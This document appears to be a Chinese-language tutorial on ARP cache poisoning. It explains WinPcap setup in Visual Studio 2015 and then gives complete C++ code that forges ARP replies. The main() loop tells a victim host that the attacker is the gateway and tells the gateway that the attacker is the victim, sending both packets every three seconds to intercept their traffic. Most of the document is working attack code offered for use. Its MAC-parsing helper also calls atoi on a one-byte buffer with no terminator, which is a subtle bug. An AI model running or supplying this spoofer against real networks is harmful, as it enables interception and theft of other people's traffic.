arp欺骗->arp响应

ARP 缓存中毒（ARP欺骗）

arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。

攻击者可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。

arp欺骗之所以有效，是因为特意构造的ARP数据包使两台主机相信它们是在互相通信，而实际上它们是在与一个中间转发数据包的第三方通信。

C++编程中实现操作arp数据包发送给被欺者主机和网关的操作可以通过winpacap这个第三方库对数据包构造和发送，可以使被欺骗主机误以为自己是在与网关通信，网关误以为自己是在跟被欺骗主机通信，而攻击者可以从中截获被欺骗主机的数据，实现中间人攻击。

Winpcap简介

winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它用于windows系统下的直接的网络编程。

Winpcap 功能

捕获原始数据包，包括在共享网络上各主机发送/接收的以及相互之间交换的数据包；
在数据包发往应用程序之前，按照自定义的规则将某些特殊的数据包过滤掉；
在网络上发送原始的数据包；
收集网络通信过程中的统计信息。

VS2015配置Winpcap

使用之前需要在VS2015配置项目的依赖，否则很多东西跑不起来。

1、添加包含与库目录

在库目录中选择安装好的WinCap目录下的Lib目录：

选择VC++目录，在包含目录中添加安装好的WinCap目录下的include目录：

在库目录中选择安装好的WinCap目录下的Lib目录：

2 附加依赖项

在连接器下选择输入，在附加依赖项中添加ws2_32.lib、wpcap.lib、Packet.lib：

3 预处理器定义

项目右键，选择属性选择C/C++->预处理器，在预处理器定义中添加WPCAP和HAVE_REMOTE，如图：

编程实例代码

1 首先获取网卡列表

做arp发送数据包前首先要确定在哪个网卡适配器上做相关的操作；

初始化函数中涉及到以下几个函数的使用，以下是几个函数的功能和说明：

int pcap_findalldevs(pcap_if_t **, char *)

说明：用来获得网卡的列表

参数：指向pcap_if_t**类型的列表的指针的指针;

char型指针,当打开列表错误时返回错误信息

返回值: 为int型，当显示列表失败时返回-1

pcap_if_t 是pcap_if 重命名而来：

typedef struct pcap_if pcap_if_t;

pcap_if结构体如下：

struct pcap_if

{

	struct pcap_if *next; 		/*多个网卡时使用来显示各个网卡的信息*/

	char *name;			/* name to hand to "pcap_open_live()" */

	char *description; 		/* textual description of interface, or NULL 就是网卡的型号、名字等*/

	struct pcap_addr *addresses;	/*pcap_addr 结构体 */

 	bpf_u_int32 flags; 		/* PCAP_IF_ interface flags 接口标志*/

};

pcap_addr 结构体如下：

struct pcap_addr

{

	struct pcap_addr *next;

	struct sockaddr *addr; 		/* address */

	struct sockaddr *netmask; 		/* netmask for that address 子网掩码*/

	struct sockaddr *broadaddr; 	/* broadcast address for that address 广播地址*/

	struct sockaddr *dstaddr; 		/* P2P destination address for that address P2P目的地址*/

};

pcap_t *pcap_open_live(const char * device, int snaplen, int promisc, int to_ms, char ebuf *)

说明：被用来得到一个包抓取得描述符

参数：

device是一个指出要抓取的网络设备的字符串。

snaplen指明最大可抓取的字节长度。

promisc置位表明该接口要被设置成混杂模式。

to_ms以毫秒为单位设置超时时间。当在超时时间内网卡上没有数据到来时对网卡的读操作将返回（如 pcap_dispatch() or pcap_next_ex()等函数）。

ebuf被用来存放当pcap_open_live()调用失败时，返回的错误字符串。

返回值: pcap_t型的指针，供pcap_dispatch() or

pcap_next_ex()等函数调用。

pcap_t的结构体：

struct pcap {

	#ifdef WIN32

		ADAPTER *adapter;

		LPPACKET Packet;

		int timeout;

		int nonblock;

	#else

		int fd;

	#endif

	int snapshot;

	int linktype;

	int tzoff; /* timezone offset */

	int offset; /* offset for proper alignment */

	struct pcap_sf sf;

	struct pcap_md md;

	int bufsize; /* Read buffer. */

	u_char *buffer;

	u_char *bp;

	int cc; //Place holder for pcap_next().

	u_char *pkt; //Placeholder for filter code if bpf not in kernel.

	struct bpf_program fcode;

	char errbuf[PCAP_ERRBUF_SIZE + 1];

	int dlt_count;

	int *dlt_list;

	#ifdef REMOTE

	/*! \brief '1' if we're the network client; needed by several functions (like pcap_setfilter() ) to know if

	they have to use the socket or they have to open the local adapter. */

		int rmt_clientside;

		SOCKET rmt_sockctrl; //!< socket ID of the socket used for the control connection

		SOCKET rmt_sockdata; //!< socket ID of the socket used for the data connection

		pthread_t rmt_threaddata; //!< handle to the receiving thread, we need to kill it in case of 'pcap_clos()'

		int rmt_flags; //!< we have to save flags, since they are passed by the pcap_open_live(), but they are used by the pcap_start capture()

		int rmt_capstarted; //!< 'true' if the capture is already started (needed to knoe if we have to call the pcap_startcapture()

		struct pcap_pkthdr pcap_header; //!< In Linux, you have to copy the packet headers another time before giving them to the user

	#endif

};

void pcap_freealldevs(pcap_if_t *)

说明：与int pcap_findalldevs(pcap_if_t **, char *)配套使用，当不再需要网卡列表时，用此函数free释放空间

参数：打开网卡列表时申请的pcap_if_t型的指针，语法如下：

pcap_freealldevs(alldevs);

pcap_geterr()

返回最后一次pcap库错误的文本信息

获取设备名称

获得网卡接口。在普通的SOCKET编程中，对双网卡编程是不行的。即使当主机为双网卡时，也需要分别获得两张网卡各自的描述结构及地址，然后分别进行操作。



//获取网卡列表

pcap_t * init()

{

	pcap_if_t *alldevs;

	pcap_if_t *d;

	int inum;

	int i = 0;         //网卡数量

	pcap_t *adhandle;

	char errbuf[PCAP_ERRBUF_SIZE];

	/* Retrieve the device list */

	//获取当前网卡列表

	if (pcap_findalldevs(&alldevs, errbuf) == -1)

	{

		fprintf(stderr, "Error in pcap_findalldevs: %s\n",errbuf);

		exit(1);

	}

	//打印网卡的列表

	for (d = alldevs; d; d= d->next)

	{

		printf("%d. %s",++i,d->name);

		//如果有网卡就打印出来

		if (d->description)

		{

			printf("(%s)\n ",d->description);

		}

		else

		{

			printf(" (No description available)\n ");

		}

	}

	if (i==0)

	{

		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

		return 0;

	}

	printf("Enter the interface number (1-%d):", i);

	scanf("%d", &inum);

	if (inum < 1 || inum > i)

	{

		printf("\nInterface number out of range.\n");

		/* Free the device list */

		pcap_freealldevs(alldevs);

		return 0;

	}

	//跳转到所选择的适配器

	for (d = alldevs , i = 0; i<inum - 1 ; d = d->next,i++)

    //打开所选的网卡适配器

	if ((adhandle = pcap_open_live(d->name,   //适配器的名称

		65535,                                //捕获的数据包的部分。

		                                      //65535是捕获所有流经的数据包,所有的数据包通过都产生端口

		1,

		1000,                                 //读取超时时间

		errbuf                                //错误缓存

		))

		== NULL)

	{

		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);

		/* Free the device list */

		pcap_freealldevs(alldevs);

		return 0;

	}

	printf("\nlistening on %s...\n", d->description);

	/* At this point, we don't need any more the device list. Free it */

	//当监控某个网卡适配器后，就释放其他的，因为用不到了

	pcap_freealldevs(alldevs);

	return adhandle;

}

定义数据结构体

根据ARP协议中的数据包写结构体，用于存放arp数据包的信息；



//作用：调整结构体的边界对齐，让其以一个字节对齐；

#pragma pack(push, 1)  //使结构体按1字节方式对齐

//以太网头部(14字节)

#define EPT_IP 0x0800       // eh_type: IP

#define EPT_ARP 0x0806      // eh_type: ARP

#define EPT_RARP 0x8035     // eh_type: RARP

typedef struct eh_hdr

{

	UCHAR eh_dst[6];        // 接收方MAC地址

	UCHAR eh_src[6];        // 发送方MAC地址

	USHORT eh_type;         // 上层协议类型

}EH_HEADR, *P_EH_HEADR;

//arp应答/请求(28字节)

#define ARP_HARDWARE 0x0001  // arp_hrd：以太网

#define ARP_REQUEST 0x0001   // arp_op： 请求 request

#define ARP_REPLY 0x0002     // arp_op： 应答 reply

typedef struct arp_hdr

{

	USHORT arp_hrd;          // 硬件类型

	USHORT arp_pro;          // 协议类型

	UCHAR  arp_hln;          // 硬件（MAC）地址长度

	UCHAR  arp_pln;          // 协议（IP ）地址长度

	USHORT arp_op;           // 包类型：请求、应答

	UCHAR  arp_sha[6];       // 发送发硬件地址 （应答时，此处可欺骗）

	ULONG  arp_spa;          // 发送方协议地址 （应答时，此处可欺骗）

	UCHAR  arp_tha[6];       // 接收方硬件地址 （请求时，此处无用）

	ULONG  arp_tpa;          // 接收方协议地址

}ARP_HEADR, *P_ARP_HEADR;

//ARP协议栈

typedef struct arp_Packet

{

	EH_HEADR ehhdr;

	ARP_HEADR arphdr;

} ARP_PACKET, *P_ARP_PACKET;

初始化arp数据包信息

函数名称: makeArpPacket

函数功能: 初始化攻击者与被攻击者的数据包信息

参数列表:

ARP_PACKET & ARPPacket:

char * srcMac: 攻击者MAC

char * srcIP: 攻击者IP

char * dstMac: 被欺骗机器的MAC地址

char * dstIP 被欺骗机器的IP

返回值: void

makeArpPacket()函数主要的功能是为了让攻击者IP、MAC的处理代码能与被欺骗主机的代码定义数据结构然后复用代码，减少代码量。



void makeArpPacket(ARP_PACKET &ARPPacket,char * srcMac, char * srcIP, char * dstMac, char * dstIP)

{

    UCHAR MacAddr[6] = { 0 };

    //以太网头

    ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   //目的MAC地址

    ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   //源MAC地址。

    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        //数据类型ARP请求或应答

    //ARP头

    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  //硬件地址为0x0001表示以太网地址

    ARPPacket.arphdr.arp_pro = htons(EPT_IP);        //协议类型字段为0x0800表示IP地址

    ARPPacket.arphdr.arp_hln = 6;                    //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度，

    ARPPacket.arphdr.arp_pln = 4;                    //以字节为单位。对于以太网上IP地址的ARP请求或应答来说，它们的值分别为6和4。

    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4

    ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址（欺骗的MAC地址）

    ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     //发送方 源IP地址 （欺骗的MAC地址）

    ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址

    ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     //目标的IP地址

}

将MAC地址转换十六进制

void ChangeMacAddr(char *p, UCHAR a[])      //把输入的12字节的MAC字符串，转变为6字节的16进制MAC地址

{

    char* p1 = NULL;

    int i = 0;

    int high, low;

    char temp[1];

    for (i = 0; i < 6; i++)

    {

        p1 = p + 1;

        switch (*p1) //计算低位的16进进制

        {

        case 'A': low = 10;        break;

        case 'B': low = 11;        break;

        case 'C': low = 12;        break;

        case 'D': low = 13;        break;

        case 'E': low = 14;        break;

        case 'F': low = 15;        break;

        default: temp[0] = *p1;

            low = atoi(temp); //如果为数字就直接转变成对应的数值

        }

        switch (*p) //计算高位的16进制

        {

        case 'A': high = 10;       break;

        case 'B': high = 11;       break;

        case 'C': high = 12;       break;

        case 'D': high = 13;       break;

        case 'E': high = 14;       break;

        case 'F': high = 15;       break;

        default: temp[0] = *p;

            high = atoi(temp); //如果为数字就直接转变成对应的数值

        }

        p += 2; //指针指向下一个X(高)X(低)字符串

        a[i] = high * 16 + low; //求和得16进制值

    }

}

发送数据包

涉及到发送arp数据包的函数；

int pcap_sendpacket(pcap_t *p, u_char *buf, int size)

说明：手工发送一个数据包了。这个函数需要的参数：一个装有要发送数据的缓冲区，要发送的长度，和一个适配器。注意缓冲区中的数据将不被内核协议处理，只是作为最原始的数据流被发送，所以我们必须填充好正确的协议头以便正确的将数据发送。

参数：

p是打开网卡时返回的网卡指针

buf是发送数据包的内容缓冲区首地址

size是发送数据包的大小

void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)

{

    /* Send down the packet */

    if (pcap_sendpacket(fp,	            // Adapter

        (const u_char *)&ARPPacket,		// buffer with the packet

        sizeof(ARPPacket)		        // size

        ) != 0)

    {

        fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));

        return;

    }

}

利用WinPcap，分别向被欺骗主机和网关发送APR请求包，达到同时欺骗目标主机和网关的目的；让所有目标主机和网关之间的数据都会被我们劫持。

main()函数代码

void pcap_close ( pcap_t * p )

关闭连接和释放资源的函数

主要的代码

int main(int argc, char* argv[])

{     

    //1.初始化网络环境

    pcap_t * adhandle = init();

    //2.填充数据包

    ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标

    ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关

    //00105CAD72E3 这个mac地址是攻击者的地址

    //欺骗受害者，我是网关

    makeArpPacket(ARPPacket_A, "00105CAD72E3", "192.168.1.1"  , "00055DE80FA3", "192.168.1.31");

    //欺骗网关，我是受害者

    makeArpPacket(ARPPacket_B, "00105CAD72E3", "192.168.1.31", "000C29019827", "192.168.1.1");  

    while (true)

    {

        //3.发送数据包

        sendArpPacket(adhandle, ARPPacket_A);

        sendArpPacket(adhandle, ARPPacket_B);

        printf("send OK ! \n");

        Sleep(3000);

    }

    pcap_close(adhandle);

    return 0;

}